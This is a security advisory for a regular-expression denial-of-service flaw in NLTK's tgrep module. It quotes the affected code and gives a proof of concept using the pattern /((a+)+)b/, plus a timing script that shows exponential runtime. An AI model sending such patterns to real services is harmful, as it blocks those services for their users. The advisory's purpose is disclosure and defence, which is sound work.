NLTK: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions

### Summary The NLTK `tgrep` module accepts user-supplied regular expressions and passes them to the Python `re` engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the `tgrep` API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely. ### Affected Code `nltk/tgrep.py` , `_tgrep_node_action()` (around line 320) When a tgrep pattern contains a `/regex/` node, `_tgrep_node_action` compiles the embedded regex literal directly with no validation: ```python def _tgrep_node_action(_s, _l, tokens): ... elif tokens[0].startswith("/"): assert tokens[0].endswith("/") node_lit = tokens[0][1:-1] return ( lambda r: lambda n, m=None, l=None: r.search( _tgrep_node_literal_value(n) ) )(re.compile(node_lit)) # User regex compiled and executed with no timeout ``` The compiled regex is applied against every matching tree node label via `r.search(...)`. A caller reaching this path via `tgrep_positions()` or `tgrep_compile()` controls `node_lit` entirely. ### Proof of Concept ```python import nltk from nltk.tgrep import tgrep_positions # Root node label is 25 'a' characters. # tgrep /regex/ branch calls re.compile("((a+)+)b").search("aaa...a") # No 'b' is present , exponential backtracking occurs. tree = nltk.Tree.fromstring("(" + "a" * 25 + " (NP (DT the)))") tgrep_positions(r"/((a+)+)b/", [tree]) # Never returns ``` ### Working Poc The following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgrep_positions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n ≥ 35, the function will hang indefinitely. ```python import nltk from nltk.tgrep import tgrep_positions import time def test_n(n): tree = nltk.Tree.fromstring("(" + "a" * n + " (NP (DT the)))") pattern = r"/((a+)+)b/" start = time.perf_counter() list(tgrep_positions(pattern, [tree])) return time.perf_counter() - start if __name__ == "__main__": # Adjust the range if needed – these values complete quickly n_values = [18, 20, 22, 24, 26, 28] print(f"Testing n = {n_values}\n") times = [] for n in n_values: t = test_n(n) times.append((n, t)) print(f"n={n:2d} done", flush=True) print("\n--- Increase factors (per step in n) ---") factors = [] for i in range(1, len(times)): prev_n, prev_t = times[i-1] curr_n, curr_t = times[i] factor = curr_t / prev_t factors.append((curr_n, factor)) print(f"n={curr_n:2d} : factor = {factor:.2f}x (vs n={prev_n})") avg = sum(f for _, f in factors) / len(factors) print(f"\nAverage factor: {avg:.2f}x") print("\n✅ Confirmed: exponential growth (catastrophic backtracking).") print(" Larger n (≥ 35) will hang indefinitely.") ``` When run, the output shows a clear exponential increase (factor > 3.0 per +2 in n), proving the vulnerability. ### Impact In environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process. ### Remediation This issue remains unfixed in versions `<= 3.10.2`. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism. ### Credit Tool: Kira by [Offgrid Security](https://www.offgridsec.com)

CVSS 4.0

CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Severity from

GitHub (reviewed advisory)

Weakness

CWE-1333

Also known as

CVE-2026-80206, PYSEC-2026-3751

• github.com/nltk/nltk/security/advisories/GHSA-w3v8-gmh9-3wv7
• nvd.nist.gov/vuln/detail/CVE-2026-80206
• github.com/nltk/nltk/commit/0072ea2fb8be22e038a36e887b7061bb6b9339d9
• github.com/nltk/nltk
• github.com/nltk/nltk/releases/tag/v3.10.3
• github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3751.yaml
• www.vulncheck.com/advisories/nltk-3.10.2-regular-expression-denial-of-service-via-tgrep